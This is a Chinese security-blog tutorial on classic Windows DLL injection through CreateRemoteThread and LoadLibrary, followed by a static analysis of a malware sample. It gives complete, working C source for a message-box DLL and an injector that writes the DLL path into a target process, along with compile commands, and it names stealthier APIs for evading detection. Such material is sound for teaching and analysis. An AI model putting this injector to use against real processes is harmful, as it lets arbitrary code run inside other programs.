freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CreateRemoteThread 经典 DLL 注入艺术
David_Jou 2024-10-23 15:09:12 166270
所属地 广东省

前言

DLL(动态链接库)注入是一种流行的代码注入技术,允许攻击者将恶意代码植入目标进程中执行。在众多注入方法中,使用CreateRemoteThread和LoadLibrary结合的注入方式是最经典、使用最多的一个形式。本该这两个函数是用于开发和调试被广泛用于在开发上面,一些应用和开发工具需要加载DLL和创建线程来实现功能的,就是说像一些恶意软件上经常会见到这两个函数,那么只有被滥用于这方面,本文将介绍这一技术的基础原理,并通过简化的注入流程示例,当然这里我还带来了一个样本和大家一起来探讨,探讨,在开始之前我们先简单的来讲讲CreateRemoteThread、LoadLibrary函数。

一、CreateRemoteThread 函数

CreateRemoteThread 是Windows API中的一个函数,用于在指定的进程中创建一个新的线程。这个函数常用于多种场景,包括程序的并发执行、调试、以及恶意软件的DLL注入等。下面将详细介绍 CreateRemoteThread 的功能、用法、参数、返回值及其函数原型。

函数原型:

HANDLE CreateRemoteThread(
HANDLE hProcess,               // 目标进程的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
SIZE_T dwStackSize,           // 线程栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 指向线程函数的指针
LPVOID lpParameter,           // 传递给线程函数的参数
DWORD dwCreationFlags,        // 创建标志
LPDWORD lpThreadId            // 指向线程ID的指针
);

参数详解

  1. hProcess:

    • 类型:HANDLE

    • 描述:目标进程的句柄。这个句柄必须具有PROCESS_CREATE_THREAD权限。可以使用OpenProcess函数获取目标进程的句柄。

  2. lpThreadAttributes:

    • 类型:LPSECURITY_ATTRIBUTES

    • 描述:指向SECURITY_ATTRIBUTES结构的指针,用于设置新线程的安全属性。可以设置为NULL,表示使用默认安全设置。

  3. dwStackSize:

    • 类型:SIZE_T

    • 描述:指定新线程的初始栈大小。如果设置为0,则使用默认栈大小。

  4. lpStartAddress:

    • 类型:LPTHREAD_START_ROUTINE

    • 描述:指向新线程要执行的函数的地址。该函数必须符合LPTHREAD_START_ROUTINE函数原型,即接受一个LPVOID类型的参数并返回DWORD类型的结果。

  5. lpParameter:

    • 类型:LPVOID

    • 描述:传递给线程函数的参数。可以传递任意类型的指针,但在使用时需确保参数类型正确。

  6. dwCreationFlags:

    • 类型:DWORD

    • 描述:指定线程的创建方式,可以设置为以下值:

      • 0:线程将立即运行。

      • CREATE_SUSPENDED:线程创建时处于挂起状态,需要调用ResumeThread函数才能开始执行。

  7. lpThreadId:

    • 类型:LPDWORD

    • 描述:指向一个变量的指针,用于接收新线程的线程ID。如果不需要线程ID,可以设置为NULL

返回值

  • 成功:返回新创建线程的句柄(HANDLE)。

  • 失败:返回NULL,可以调用GetLastError获取错误代码,以确定失败原因。

错误代码

常见的错误代码包括:

  • ERROR_INVALID_PARAMETER:参数无效。

  • ERROR_ACCESS_DENIED:没有足够的权限访问目标进程。

  • ERROR_NOT_ENOUGH_MEMORY:内存不足。

二、LoadLibrary 函数

LoadLibrary 是 Windows API 中的一个重要函数,主要用于加载动态链接库(DLL)并返回该库的模块句柄。通过这个句柄,程序可以调用库中导出的函数。

函数原型:

HMODULE LoadLibraryA(
LPCSTR lpLibFileName
);

HMODULE LoadLibraryW(
LPCWSTR lpLibFileName
);

  • 参数

    • lpLibFileName:指定要加载的 DLL 文件的路径,可以是完整路径或相对路径。

    • 根据使用的字符集,您可以选择LoadLibraryA(ANSI 版本)或LoadLibraryW(Unicode 版本)。在 Windows 中,通常建议使用LoadLibraryW来支持多语言和字符集。

  • 返回值

    • 如果成功,返回 DLL 模块的句柄(HMODULE类型),否则返回NULL。可以使用GetLastError获取错误信息。

函数功能

  1. 加载 DLL

    • LoadLibrary会从指定路径加载 DLL 并将其映射到进程的地址空间中。这使得程序可以调用 DLL 中的导出函数。

  2. 引用计数

    • 每当调用LoadLibrary加载 DLL 时,引用计数会增加。调用FreeLibrary函数可以减少引用计数,当计数降为 0 时,DLL 将被卸载。

  3. 导入函数

    • 通过 DLL 的模块句柄,可以使用GetProcAddress函数获取 DLL 中导出的函数的地址,从而调用这些函数。

三、DLL 注入教程:使用 CreateRemoteThread 注入 DLL

我们将实现一个简单的 DLL,它在被注入时会弹出一个消息框,并编写一个注入程序,该程序利用 Windows API 中的CreateRemoteThread函数来完成 DLL 注入。

1、DLL编写

这段代码实现了一个基本的 DLL,通过MessageBox函数在 DLL 加载时弹出提示框。它的主要功能是在被注入到其他进程时,显示一条消息,表明 DLL 已成功注入。虽然该示例简单,但它展示了 DLL 的基本结构和使用 Windows API 的方法。编写一个简单的 DLL,名为 evil.dll,当它被注入到目标进程时,会显示一条消息。以下是 evil.dll 的源码。

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"David Meow from evil.dll!",
"DLL注入",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

代码说明

  • DllMain: 这是 DLL 的入口点。在DLL_PROCESS_ATTACH情况下,弹出一个消息框。

  • MessageBox: 该函数用来显示消息框,参数包括父窗口句柄、消息内容、标题和按钮类型。

1729584959_67175f3f4a77b39ef0552.png!small?1729584961090

这里用kali的mingw-w64直接编译:

┌──(kali㉿kali)-[~/Desktop/injection]
└─$ x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

1729584981_67175f55a5434fbb6f489.png!small?1729584983430

然后我们起个服务或者粘贴复制放到测试机上,把生成的DLL文件存放到一个路径上,这里直接放在C盘下了,注入程序EXE的源码中需要引用文件这个DLL文件(路径)。

1729585217_671760411054b8f49e711.png!small

2、注入程序编写:

接下来,我们将编写一个注入程序inj.exe,用于将 DLL 注入到指定进程中。以下是注入程序的源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";     //这里需要修改为你自己的DLL文件存放路径
unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

// handle to kernel32 and pass it to GetProcAddress
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}

代码说明:

定义一个字符数组 evilDLL,存放待注入的 DLL 文件路径。evilLen 计算了 DLL 路径字符串的长度,加 1 是为了包含字符串结束符 '\0'

1729588305_67176c51a1e704af1f84f.png!small?1729588307423

主函数:argc:命令行参数的数量。argv:指向命令行参数的字符串数组。

变量:ph:用于存储目标进程的句柄。rt:用于存储创建的远程线程句柄。rb:用于存储目标进程中的内存地址。1729588373_67176c95329e221e8f3d1.png!small?1729588375006

获取 LoadLibraryA 地址:GetModuleHandle 获取 kernel32.dll 模块的句柄。GetProcAddress 获取 LoadLibraryA 函数的地址,这个函数用于加载 DLL。

1729588559_67176d4f8daa0ec7559fd.png!small?1729588561439

解析进程 ID:使用 atoi 将命令行参数中的进程 ID 转换为整数。如果转换结果为 0,打印错误信息并退出程序。打印出要注入的进程 ID。
打开目标进程:使用 OpenProcess 打开目标进程,获取其句柄 ph,并请求所有访问权限(PROCESS_ALL_ACCESS)。FALSE 表示不继承句柄。

1729588675_67176dc37c47fe0c11f8b.png!small?1729588677455

在目标进程中分配内存:使用 VirtualAllocEx 在目标进程的地址空间中分配内存,以存储 DLL 路径。

1729588766_67176e1e8b7bf3b6d4590.png!small?1729588768303

将 DLL 路径写入目标进程内存:使用 WriteProcessMemory 将 evilDLL 字符串写入目标进程的内存空间 rb。

1729588809_67176e49c0adeba98e20d.png!small?1729588811534

创建远程线程:使用 CreateRemoteThread 创建一个远程线程,该线程在目标进程中运行 LoadLibraryA 函数,并将 rb(DLL 路径)作为参数传递给它。这将导致目标进程加载 evil.dll。

  • 关闭目标进程的句柄ph,释放资源。
  • 返回 0,表示程序正常结束。

1729588897_67176ea18749702186730.png!small

注入的流程大概就是这么多。

3、编译注入程序

将上述代码保存为inj.c,并使用编译器编译成可执行文件inj.exe

1729585423_6717610fba288511f698e.png!small?1729585425903

┌──(kali㉿kali)-[~/Desktop/injection]
└─$ x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1

1729585611_671761cb022108ab37e96.png!small?1729585612893

4、注入程序利用

要使用注入程序,首先确保目标进程正在运行,我这里先打开一个计算器。然后,将<PID>替换为目标进程的实际进程 ID。例如,如果目标进程的 PID 是2544,直接打开命令提示符并执行以下命令:

C:\>inj.exe 2544
PID: 2544

1729586060_6717638c540fb6b004fda.png!small?1729586062853

我们在计算器的程序DLL文件中已经发现了我们编写的evil.dll文件,此时我们的这个注入是成功。

四、通过线程劫持进行恶意代码注入

我们了解的知识点后,我们进阶利用,这种手段嵌入恶意执行程序,那么这里通过线程演示劫持恶意代码注入。该方法的关键步骤包括找到目标进程的 PID,分配内存以写入恶意代码,暂停目标线程,修改其执行上下文(寄存器状态),使其跳转到恶意代码并执行。代码部分和上面几乎一样流程,但是上面是创建新流程,这个是劫持进程,同样的需要找到正在运行的目标进程。

1729584524_67175d8c0a00033f7cc21.png!small?1729584527438

同样编译代码,这里我们通需要运行运行一个进程,这里运行一个文本文档,我们劫持的就是一个文本文档,然后运行,就会加载我们的恶意程序。

.\hack.exe notepad.exe

1729584636_67175dfc83cdf9b55f909.png!small?1729584639477

五、相关的恶意样本分析

SHA256: 
07B8F25E7B536F5B6F686C12D04EDC37E11347C8ACD5C53F98A174723078C365

1729666633_67189e494832087902398.png!small?1729666634421

1、VirtualAllocEx 内存分配恶意软件首先通过VirtualFreeEx释放内存,之后调用VirtualAllocEx在远程进程中分配内存。这块内存用于保存 DLL 的路径,供后续注入使用。

push    40h ; '@'       ; flProtect
push    3000h           ; flAllocationType
push    esi             ; dwSize
push    edi             ; lpAddress
push    ebx             ; hProcess
call    VirtualAllocEx

2、WriteProcessMemory 写入内存分配内存后,代码调用WriteProcessMemory将恶意 DLL 的路径写入到目标进程的内存空间。

push    eax             ; lpNumberOfBytesWritten
push    esi             ; nSize
push    0               ; lpModuleName
call    GetModuleHandleA_0
push    eax             ; lpBuffer
push    edi             ; lpBaseAddress
push    ebx             ; hProcess
call    WriteProcessMemory

3、CreateRemoteThread 执行注入最后,恶意软件调用CreateRemoteThread,指定远程进程中的LoadLibrary地址作为线程的入口点,启动新的线程来加载 DLL。这是注入的关键步骤。

lea     eax, [esp+24h+ThreadId]
push    eax             ; lpThreadId
push    0               ; dwCreationFlags
mov     eax, [esp+2Ch+lpParameter]
push    eax             ; lpParameter
mov     eax, [esp+30h+lpStartAddress]
push    eax             ; lpStartAddress
push    0               ; dwStackSize
push    0               ; lpThreadAttributes
push    ebx             ; hProcess
call    CreateRemoteThread

上面的代码是典型的基于CreateRemoteThread的 一种DLL 注入技术。恶意软件通过以下步骤完成注入:

  1. 使用VirtualAllocEx在目标进程中分配内存。
  2. 使用WriteProcessMemory将 DLL 路径写入到目标进程。
  3. 调用CreateRemoteThread创建一个新线程来加载 DLL。

虽然这种方法很常见,但是CreateRemoteThread已被很多安全软件标记并检测该行为。如果是一些比较有规模的攻击者会使用更隐蔽的技术,如NtCreateThreadExRtlCreateUserThread,来规避检测。

六、其它侦测手段

观察文件头

这里使用了HXD打开这个样本,通过样本中可以看到开头 4D 5A 表示 "MZ" 签名,标识这是一个DOS可执行文件的起始部分。这是所有Windows可执行文件的标准头(MZ Header),即使是PE格式,也会保留此签名。
后面紧跟的是DOS存根程序(stub),包括 "This program must be run under Win32" 的ASCII字符串。这部分通常表示一个标准信息,告诉用户该程序无法在纯DOS环境下运行,必须在Windows环境中执行。

1729663232_67189100367b303f89805.png!small?1729663233101

观察时间戳文件元数据

在 PE 头部分,通常可以看到时间戳等信息,但这里的截图中相关时间信息无效(如截图显示的 "DOS date 2030/11/4"),这可能表明该文件在编译或打包时故意修改了时间戳进行规避一些安全沙箱检测手段。

1729663379_671891935191fd884dd51.png!small?1729663380465

使用PE-bear工具打开恶意样本,然后在这个截图中,我们看到的是PE文件的导入表,这里列出了该文件导入的动态链接库(DLL)及相应的API调用,这些导入项对于分析程序的功能和潜在的恶意行为非常关键。

1729664433_671895b114952dcc97d93.png!small?1729664434011

  • 主要导入的DLL有:
    • kernel32.dll:这是Windows操作系统核心的动态链接库,通常与进程、线程、内存管理相关。
    • user32.dll:与用户界面交互相关的DLL,通常用于处理图形用户界面事件,如消息框、输入处理。
    • ole32.dlloleaut32.dll:与对象链接与嵌入(OLE)技术相关,通常用于COM对象的管理。
    • advapi32.dll:提供高级Windows API,如注册表访问、服务管理等。
    • psore.dllrasapi32.dll:可能与远程通信、网络相关功能有关。

kernel32.dll API

在导入表的下方,我们看到kernel32.dll中调用的API函数列表。这里列出的部分函数特别值得关注:

  • GetCurrentThreadId:获取当前线程的ID。常用于线程管理,可能与多线程操作相关。
  • ExitProcess:终止当前进程。恶意软件可能会调用该函数来退出受感染的进程。
  • UnhandedExceptionFilter:设置或检索未处理的异常过滤器。通常用于异常处理,也可能用于隐藏恶意行为。
  • TlsSetValue/TlsGetValue:与线程局部存储(TLS)相关,可能涉及TLS回调技术,这在恶意软件中有时被用来隐蔽植入的代码。
  • GetModuleHandleA:获取指定模块的句柄。可以用于查找已经加载的DLL,可能与加载和操作外部模块相关。

七、总结

本文详细介绍了使用 CreateRemoteThreadLoadLibrary函数进行 DLL 注入的技术原理,并结合了代码示例,展示了如何通过 Windows API 实现代码注入。

首先,文章简要介绍了 CreateRemoteThreadLoadLibrary函数的基本功能和参数详解。CreateRemoteThread用于在目标进程中创建新线程,而 LoadLibrary则用于加载动态链接库(DLL)。文章通过简洁的函数解释,让读者理解了这两个函数在 Windows 中的常见应用以及在恶意软件中的潜在滥用。

接着,文章提供了一个实际的 DLL 注入示例,包括 DLL 文件(evil.dll)的编写和注入程序的代码(inj.exe)。其中,DLL 的功能是显示一个消息框,表明 DLL 已成功注入目标进程。注入程序通过 OpenProcess打开目标进程,使用 VirtualAllocEx分配内存,调用 WriteProcessMemory写入 DLL 路径,最后利用 CreateRemoteThread创建新线程并执行注入。示例代码不仅直观,还带有详细的注释,方便读者理解。

文章还进一步探讨了恶意软件如何通过 CreateRemoteThread实现注入攻击,包括分配内存、写入恶意代码路径、并最终创建远程线程加载恶意 DLL。这些步骤被许多恶意软件广泛使用,尤其是在进行 DLL 注入时,虽然常见但也容易被检测。

在后续的部分中,文章提到了一些更高级的攻击技术,例如通过线程劫持进行恶意代码注入,以及使用 NtCreateThreadExRtlCreateUserThread等更隐蔽的注入方式来规避检测。

最后,文章通过恶意样本的分析(例如查看文件头、时间戳、导入表等)展示了实际恶意软件的行为,包括如何通过 VirtualAllocExWriteProcessMemory等函数进行内存分配和代码注入。此外,还介绍了常见的API函数,如 GetCurrentThreadIdExitProcess,以及它们在恶意软件中的作用。

通过这些详细的步骤和样本分析,本文为读者提供了一个从基础到进阶的全面 DLL 注入技术的学习路径,同时也揭示了这类技术在恶意软件中的实际应用和检测方法。

# 渗透测试 # 网络安全 # 系统安全 # 企业安全 # 恶意软件分析
本文为 David_Jou 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
David_Jou LV.4
仗剑走马 高歌天涯 待到年华垂垂老去时 与他携手归隐去最初见时的地方 夕阳鸿雁 飞花庭院 大概这是他所期待的一生吧
  • 33 文章数
  • 38 关注者
揭秘APT38(Lazarus Group):从索尼影业到ByBit的网络掠夺之路
2025-03-19
UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测
2024-12-10
揭秘Gamaredon APT的精准攻击:针对乌克兰调查局的网络钓鱼与多阶段攻击
2024-12-07
文章目录